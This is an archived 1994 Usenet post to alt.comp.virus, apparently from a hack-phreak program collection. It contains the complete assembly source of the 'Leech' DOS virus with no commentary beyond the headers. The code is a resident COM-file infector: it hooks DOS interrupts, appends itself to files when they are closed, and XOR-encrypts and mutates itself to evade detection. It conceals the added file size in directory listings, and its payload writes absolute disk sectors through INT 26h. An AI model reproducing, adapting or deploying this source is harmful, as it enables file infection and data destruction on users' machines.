home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / L.ZIP / LEECH.ZIP / leech.asm
Assembly Source File  |  1994-11-29  |  16KB  |  515 lines

  1. From netcom.com!ix.netcom.com!howland.reston.ans.net!news2.near.net!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair Tue Nov 29 09:54:34 1994
  2. Xref: netcom.com alt.comp.virus:488
  3. Path: netcom.com!ix.netcom.com!howland.reston.ans.net!news2.near.net!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair
  4. From: clair@myhost.subdomain.domain (The Clairvoyant)
  5. Newsgroups: alt.comp.virus
  6. Subject: Leech source
  7. Date: 28 Nov 1994 08:08:44 GMT
  8. Organization: String to put in the Organization Header
  9. Lines: 500
  10. Message-ID: <3bc36c$mjc@gaia.ucs.orst.edu>
  11. NNTP-Posting-Host: tempest.rhn.orst.edu
  12. X-Newsreader: TIN [version 1.2 PL2]
  13.  
  14.  
  15. :
  16. code               segment
  17.                    assume cs:code
  18.                    org  100h
  19.  
  20. start:
  21.                    jmp  begin
  22.  
  23.                    org  200h
  24. begin:
  25.                    jmp  short beg
  26.  
  27. FileSize           dw   0E00h; 02h
  28. int21vec           dd   0    ; 04h
  29. oldint13           dd   0    ; 08h
  30. oldint24           dd   0    ; 0Ch
  31. Date               dw   0    ; 10h
  32. Time               dw   0    ; 12h
  33.                    db   1    ; 14h
  34. version            dw   0    ; 15h   - mutation status
  35.  
  36. beg:
  37.                    call codenext
  38. codenext:
  39.                    pop  si
  40. mutation1:
  41.                    cli
  42.                    push ds
  43.                    pop  es
  44.                    mov  bp,sp
  45.                    mov  sp,si
  46.                    add  sp,3FEh-(offset codenext-offset begin)
  47. mutation2:
  48.                    mov  cx,ss
  49.                    mov  ax,cs
  50.                    mov  ss,ax
  51.                    pop  bx
  52.                    dec  sp
  53.                    dec  sp
  54.                    add  si,offset mybeg-offset codenext
  55. codeloop:
  56.                    pop  ax
  57.                    xor  al,bh
  58.                    push ax
  59.                    dec  sp
  60.                    cmp  sp,si
  61.                    jnc  codeloop
  62. mybeg:
  63.                    mov  ax,es
  64.                    dec  ax
  65.                    mov  ds,ax
  66.                    add  word ptr ds:[3],-082h
  67.                    mov  bx,ds:[3]
  68.                    mov  byte ptr ds:[0],5ah
  69.                    inc  ax
  70.                    inc  bx
  71.                    add  bx,ax
  72.                    mov  es,bx
  73.                    mov  ss,cx
  74.                    add  si,offset begin-offset mybeg
  75.                    mov  bx,ds
  76.                    mov  ds,ax
  77.                    mov  sp,bp
  78.                    push si
  79.                    xor  di,di
  80.                    mov  cx,400h
  81.                    cld
  82.                    rep  movsb
  83.                    pop  si
  84.                    push bx
  85.                    mov  bx,offset inblock-offset begin
  86.                    push es
  87.                    push bx
  88.                    retf
  89. inblock:
  90.                    mov  es,ax
  91.                    mov  ax,cs:[2]                ; File Size
  92.                    add  ax,100h
  93.                    mov  di,si
  94.                    mov  si,ax
  95.                    mov  cx,400h
  96.                    rep  movsb
  97.                    pop  es
  98.                    xor  ax,ax
  99.                    mov  ds,ax
  100.                    sti
  101.                    cmp  word ptr ds:[21h*4],offset int21-offset begin
  102.                    jne  count
  103.                    sub  word ptr es:[3],-082h
  104.                    test byte ptr ds:[46ch],11100111b
  105.                    jnz  efect1
  106.                    push cs
  107.                    pop  ds
  108.                    mov  si,offset msg-offset begin
  109. efect2:
  110.                    lodsb
  111.                    or   al,0
  112.                    jz   efect3
  113.                    mov  ah,0eh
  114.                    int  10h
  115.                    jmp  short efect2
  116. efect3:
  117.                    mov  ah,32h
  118.                    xor  dl,dl
  119.                    int  21h
  120.                    jc   efect1
  121.                    call setaddr
  122.                    call setint
  123.                    mov  dx,ds:[bx+10h]
  124.                    mov  ah,19h
  125.                    int  21h
  126.                    mov  cx,2
  127.                    int  26h
  128.                    pop  bx
  129.                    call setint
  130. efect1:
  131.                    jmp  quit
  132. count:
  133.                    add  word ptr es:[12h],-082h
  134.                    mov  bx,ds:[46ch]
  135.                    push ds
  136.                    push cs
  137.                    pop  ds
  138.                    push cs
  139.                    pop  es
  140.                    mov  byte ptr ds:[14h],1
  141.                    and  bh,80h
  142.                    mov  ds:[4ffh],bh
  143.                    test bl,00000001b
  144.                    jnz  mut1
  145.                    mov  si,offset mutation1-offset begin
  146.                    add  si,ds:[15h]
  147.                    lodsb
  148.                    xchg al,ds:[si]
  149.                    mov  ds:[si-1],al
  150. mut1:
  151.                    test bl,00000010b
  152.                    jnz  mut2
  153.                    mov  si,offset mutation2-offset begin
  154.                    add  si,ds:[15h]
  155.                    lodsw
  156.                    xchg ax,ds:[si]
  157.                    mov  ds:[si-2],ax
  158. mut2:
  159.                    test bl,00000100b
  160.                    jnz  mut3
  161.                    mov  si,offset codeloop-offset begin
  162.                    mov  al,2
  163.                    xor  byte ptr ds:[si],al
  164.                    xor  byte ptr ds:[si+2],al
  165.                    xor  byte ptr ds:[si+3],al
  166. mut3:
  167.                    test bl,00001000b
  168.                    jnz  mut4
  169.                    mov  si,offset codenext-offset begin
  170.                    mov  di,400h
  171.                    mov  cx,offset codeloop-offset codenext-2
  172.                    push si
  173.                    push di
  174.                    lodsb
  175.                    cmp  al,5eh
  176.                    je   jmp1
  177.                    inc  si
  178. jmp1:
  179.                    push cx
  180.                    rep  movsb
  181.                    pop  cx
  182.                    pop  si
  183.                    pop  di
  184.                    cmp  al,5eh
  185.                    je   jmp2
  186.                    mov  al,5Eh
  187.                    stosb
  188.                    rep  movsb
  189.                    mov  al,90h
  190.                    stosb
  191.                    xor  ax,ax
  192.                    jmp  short jmp3
  193. jmp2:
  194.                    mov  ax,0C68Fh
  195.                    stosw
  196.                    rep  movsb
  197.                    mov  ax,1
  198. jmp3:
  199.                    mov  cs:[15h],ax
  200. mut4:
  201.                    mov  ah,30h
  202.                    int  21h
  203.                    cmp  ax,1e03h
  204.                    jne  nodos33
  205.                    mov  ah,34h
  206.                    int  21h
  207.                    mov  bx,1460h
  208.                    jmp  short dos33
  209. nodos33:
  210.                    mov  ax,3521h
  211.                    int  21h
  212. dos33:
  213.                    mov  ds:[4],bx
  214.                    mov  ds:[6],es
  215.                    mov  si,21h*4
  216.                    pop  ds
  217.                    push si
  218.                    push cs
  219.                    pop  es
  220.                    mov  di,offset intend-offset begin+1
  221.                    movsw
  222.                    movsw
  223.                    pop  di
  224.                    push ds
  225.                    pop  es
  226.                    mov  ax,offset int21-offset begin
  227.                    stosw
  228.                    mov  ax,cs
  229.                    stosw
  230.                    mov  di,offset mybeg-offset begin
  231.                    mov  al,cs:[3ffh]
  232. coderloop:
  233.                    xor  cs:[di],al
  234.                    inc  di
  235.                    cmp  di,offset coderloop-offset begin
  236.                    jc   coderloop
  237. quit:
  238.                    mov  ah,62h
  239.                    int  21h
  240.                    push bx
  241.                    mov  ds,bx
  242.                    mov  es,bx
  243.                    mov  ax,100h
  244.                    push ax
  245.                    retf
  246. ;------------------------------------------------------------------------------
  247. infect:
  248.                    push si
  249.                    push ds
  250.                    push es
  251.                    push di
  252.                    cld
  253.                    push cs
  254.                    pop  ds
  255.                    xor  dx,dx
  256.                    call movefp
  257.                    mov  dx,400h
  258.                    mov  ah,3fh
  259.                    mov  cx,3
  260.                    call Dos
  261.                    jc   infect4
  262.                    xor  di,di
  263.                    mov  ax,word ptr ds:[400h]
  264.                    mov  cx,ds:[0]
  265.                    cmp  cx,ax
  266.                    je   infect8
  267.                    cmp  al,0EBH  ; near jmp
  268.                    jne  infect1
  269.                    mov  al,ah
  270.                    xor  ah,ah
  271.                    add  ax,2
  272.                    mov  di,ax
  273. infect1:
  274.                    cmp  al,0E9h  ; far jmp
  275.                    jne  infect2
  276.                    mov  ax,ds:[401h]
  277.                    add  ax,3
  278.                    mov  di,ax
  279.                    xor  ax,ax
  280. infect2:
  281.                    cmp  ax,'MZ'
  282.                    je   infect4
  283.                    cmp  ax,'ZM'
  284.                    jne  infect3
  285. infect4:
  286.                    stc
  287. infect8:
  288.                    jmp  infectquit
  289. infect3:
  290.                    mov  dx,di
  291.                    push cx
  292.                    call movefp
  293.                    mov  dx,400h
  294.                    mov  ah,3fh
  295.                    mov  cx,dx
  296.                    call Dos
  297.                    pop  cx
  298.                    jc   infect4
  299.                    cmp  ds:[400h],cx
  300.                    je   infect8
  301.                    mov  ax,di
  302.                    sub  ah,-4
  303.                    cmp  ax,ds:[2]
  304.                    jnc  infect4
  305.                    mov  dx,ds:[2]
  306.                    call movefp
  307.                    mov  dx,400h
  308.                    mov  cx,dx
  309.                    mov  ah,40h
  310.                    call Dos
  311. infect6:
  312.                    jc   infectquit
  313.                    mov  dx,di
  314.                    call movefp
  315.                    push cs
  316.                    pop  es
  317.                    mov  di,400h
  318.                    push di
  319.                    push di
  320.                    xor  si,si
  321.                    mov  cx,di
  322.                    rep  movsb
  323.                    mov  si,400h+offset coderloop-offset begin
  324.                    mov  al,ds:[7ffh]
  325. infect5:
  326.                    xor  ds:[si],al
  327.                    inc  si
  328.                    cmp  si,07ffh
  329.                    jc   infect5
  330.                    pop  cx
  331.                    pop  dx
  332.                    mov  ah,40h
  333.                    call Dos
  334. infectquit:
  335.                    pop  di
  336.                    pop  es
  337.                    pop  ds
  338.                    pop  si
  339.                    ret
  340. int21:
  341.                    cmp  ax,4b00h
  342.                    je   exec
  343.                    cmp  ah,3eh
  344.                    je   close
  345.                    cmp  ah,11h
  346.                    je   dir
  347.                    cmp  ah,12h
  348.                    je   dir
  349. intend:
  350.                    db   0eah,0,0,0,0
  351.  
  352. dir:
  353.                    push si
  354.                    mov  si,offset intend-offset begin+1
  355.                    pushf
  356.                    call dword ptr cs:[si]
  357.                    pop  si
  358.                    push ax
  359.                    push bx
  360.                    push es
  361.                    mov  ah,2fh
  362.                    call dos
  363.                    cmp  byte ptr es:[bx],0ffh
  364.                    jne  dir2
  365.                    add  bx,7
  366. dir2:
  367.                    mov  ax,es:[bx+17h]
  368.                    and  ax,1fh
  369.                    cmp  ax,1eh
  370.                    jne  dir1
  371.                    mov  ax,es:[bx+1dh]
  372.                    cmp  ax,0801h
  373.                    jc   dir1
  374.                    sub  ax,400h
  375.                    mov  es:[bx+1dh],ax
  376. dir1:
  377.                    pop  es
  378.                    pop  bx
  379.                    pop  ax
  380.                    iret
  381. int24:
  382.                    mov  al,3
  383.                    iret
  384. Dos:
  385.                    pushf
  386.                    call dword ptr cs:[4]
  387.                    ret
  388. moveFP:
  389.                    xor  cx,cx
  390.                    mov  ax,4200h
  391.                    call Dos
  392.                    ret
  393. exec:
  394.                    push ax
  395.                    push bx
  396.                    mov  byte ptr cs:[14h],0
  397.                    mov  ax,3d00h
  398.                    call dos
  399.                    mov  bx,ax
  400.                    mov  ah,3eh
  401.                    int  21h
  402.                    pop  bx
  403.                    pop  ax
  404. intendjmp:
  405.                    jmp  short intend
  406. close:
  407.                    or   byte ptr cs:[14h],0
  408.                    jnz  intendjmp
  409.                    push cx
  410.                    push dx
  411.                    push di
  412.                    push es
  413.                    push ax
  414.                    push bx
  415.                    call setaddr
  416.                    call setint
  417.                    mov  ax,1220h
  418.                    int  2fh
  419.                    jc   closequit
  420.                    mov  ax,1216h
  421.                    mov  bl,es:[di]
  422.                    xor  bh,bh
  423.                    int  2fh
  424.                    mov  ax,es:[di+11h]
  425.                    mov  cs:[2],ax
  426.                    mov  ax,es:[di+0dh]
  427.                    and  al,0f8h
  428.                    mov  cs:[12h],ax
  429.                    mov  ax,es:[di+0fh]
  430.                    mov  cs:[10h],ax
  431.                    cmp  word ptr es:[di+29h],'MO'
  432.                    jne  closequit
  433.                    cmp  byte ptr es:[di+28h],'C'
  434.                    jne  closequit
  435.                    cmp  cs:[2],0FA00h
  436.                    jnc  closequit
  437.                    mov  al,20h
  438.                    xchg al,es:[di+4]
  439.                    mov  ah,2
  440.                    xchg es:[di+2],ah
  441.                    pop  bx
  442.                    push bx
  443.                    push ax
  444.                    call infect
  445.                    pop  ax
  446.                    mov  es:[di+4],al
  447.                    mov  es:[di+2],ah
  448.                    mov  cx,cs:[12h]
  449.                    jc   close1
  450.                    or   cl,1fh
  451.                    and  cl,0feh
  452. close1:
  453.                    mov  dx,cs:[10h]
  454.                    mov  ax,5701h
  455.                    call Dos
  456. closequit:
  457.                    pop  bx
  458.                    pop  ax
  459.                    pop  es
  460.                    pop  di
  461.                    pop  dx
  462.                    pop  cx
  463.                    call dos
  464.                    call setint
  465.                    retf 02
  466. setaddr:
  467.                    mov  ah,13h
  468.                    int  2fh
  469.                    mov  cs:[8d],bx
  470.                    mov  cs:[10d],es
  471.                    int  2fh
  472.                    mov  cs:[12d],offset int24-offset begin
  473.                    mov  cs:[14d],cs
  474.                    ret
  475. setint:
  476.                    push ax
  477.                    push si
  478.                    push ds
  479.                    pushf
  480.                    cli
  481.                    cld
  482.                    xor  ax,ax
  483.                    mov  ds,ax
  484.                    mov  si,13h*4
  485.                    lodsw
  486.                    xchg ax,cs:[8]
  487.                    mov  ds:[si-2],ax
  488.                    lodsw
  489.                    xchg ax,cs:[10d]
  490.                    mov  ds:[si-2],ax
  491.                    mov  si,24h*4
  492.                    lodsw
  493.                    xchg ax,cs:[12d]
  494.                    mov  ds:[si-2],ax
  495.                    lodsw
  496.                    xchg ax,cs:[14d]
  497.                    mov  ds:[si-2],ax
  498.                    popf
  499.                    pop  ds
  500.                    pop  si
  501.                    pop  ax
  502.                    ret
  503. msg:
  504.                    db   'The leech live ...',0
  505.                    db   'April 1991  The Topler.',0
  506.  
  507.                    org  0F00h
  508.  
  509.                    int  20h
  510.  
  511. code               ends
  512.                    end  start
  513. 
  514.  
  515.